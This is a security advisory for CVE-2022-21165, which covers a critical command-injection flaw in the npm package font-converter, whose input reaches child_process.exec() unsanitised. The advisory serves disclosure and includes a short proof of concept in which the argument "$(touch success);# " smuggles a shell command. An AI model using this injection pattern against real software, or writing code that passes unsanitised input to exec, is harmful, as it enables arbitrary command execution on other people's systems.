Advisory

GHSA-g2c3-vwff-m3xr

Also known as: CVE-2022-21165

Summary

Font-Converter Vulnerable to Arbitrary Command Injection

Details

Overview
font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)

All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.

PoC

var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
    new PUT(x, x, x, x);
} catch (e) {
    console.log(e);
}

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2022-08-29 20:06 UTC
Modified
2024-04-22 23:44 UTC

Affected packages and fixes

font-converter

npm · All systems

Affected

  • introduced 0, last affected 1.1.1 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences